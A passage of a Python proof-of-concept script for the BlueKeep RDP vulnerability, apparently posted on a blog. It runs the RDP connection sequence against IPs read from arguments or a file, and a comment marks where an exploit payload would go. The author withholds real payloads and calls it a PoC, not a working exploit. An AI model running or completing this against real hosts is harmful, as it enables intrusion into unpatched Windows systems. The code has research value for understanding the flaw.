"000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe"
 
"004000fe008000fe0000014000000800010001030000000f0008000100000011000c00010000000028640014000c000100000"
 
"00000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b00060001001e00080001000000"
 
"18000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d744e803c0ecbe"
 
"ea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf020008000001400002010101000140"
 
"0002010104"
 
)
 
info("sending Client Confirm Active PDU packet {}".format(SENT))
 
tls.sendall(Packer(confirm_packet).bin_unpack())
 
returned_packet = tls.recv(1024)
 
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
 
 
 
# finish the connection sequence
 
info("sending Client Synchronization PDU packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().client_synchronization_pdu())
 
info("sending Client Control Cooperate PDU packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().client_control_cooperate_pdu())
 
info("sending Client Control Request PDU packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().client_control_request_pdu())
 
info("sending Client Persistent Key Length PDU packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().client_persistent_key_length_pdu())
 
info("sending Client Font List PDU packet {}".format(SENT))
 
tls.sendall(DoPduConnectionSequence().client_font_list_pdu())
 
returned_packet = tls.recv(8000)
 
info("{} received {} bytes from host: {}".format(RECEIVE, hex(len(returned_packet)), ip))
 
 
 
# As much as I don't condone hacking and breaking into things.
 
# If you're going to do it, this is where you would put your payload of types.
 
#
 
# To do this you would do something along the lines of:
 
# -----------------------------------------------------
 
# tls.sendall(Packer(
 
# "0000000c29fbf017000c2946f8c10800450000100028021a400080060a62c0a83682c0a8002036810d3dc0080022ff5"
 
# "cfba05185501400300000a7910000"
 
# ).bin_pack())
 
# data = tls.recv(1024)
 
# print repr(data)
 
# -----------------------------------------------------
 
# Generating the payloads is hard, especially when alsr is involved with it.
 
# Good luck with that, I will not be sharing any of my payloads because i
 
# don't feel like watching the world burn yet.
 
 
 
info("closing the connection now, this is a PoC not a working exploit")
 
results[1].close()
 
except Exception as e:
 
error("unable to connect: {}".format(e))
 
continue
 
 
 
 
 
def main():
 
to_scan = []
 
opt = Parser().optparse()
 
if opt.ipAddyList is not None:
 
for ip in opt.ipAddyList.split(","):
 
to_scan.append(ip)
 
elif opt.ipAddyFile is not None:
 
try:
 
open(opt.ipAddyFile).close()
 
except IOError:
 
error("that file doesn't exist?")
 
exit(1)
 
with open(opt.ipAddyFile) as addresses:
 
for address in addresses.readlines():
 
to_scan.append(address.strip())
 
else:
 
info("python bluekeep_poc.py [-i addy1[,addy2,...]] [-f /path/to/file]")
 
exit(1)
 
for scan in to_scan:
 
info("verifying RDP service on: {}".format(scan))
 
check_rdp_service(scan)
 
info("starting RDP connection on {} targets".format(len(GIS_RDP)))
 
print("\n\n")
 
start_rdp_connection(GIS_RDP)
 
 
 
 
 
if __name__ == "__main__":
 
print("""\033[34m
 
____ _ _ __
 
| _ \| | | |/ /
 
| |_) | |_ _ ___| ' / ___ ___ _ __
 
| _ <| | | | |/ _ \ < / _ \/ _ \ '_ \
 
| |_) | | |_| | __/ . \ __/ __/ |_) |
 
|____/|_|\__,_|\___|_|\_\___|\___| .__/
 
| |
 
|_|
 
\033[0m""")
 
main()

作者 匿名

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

4 + 20 =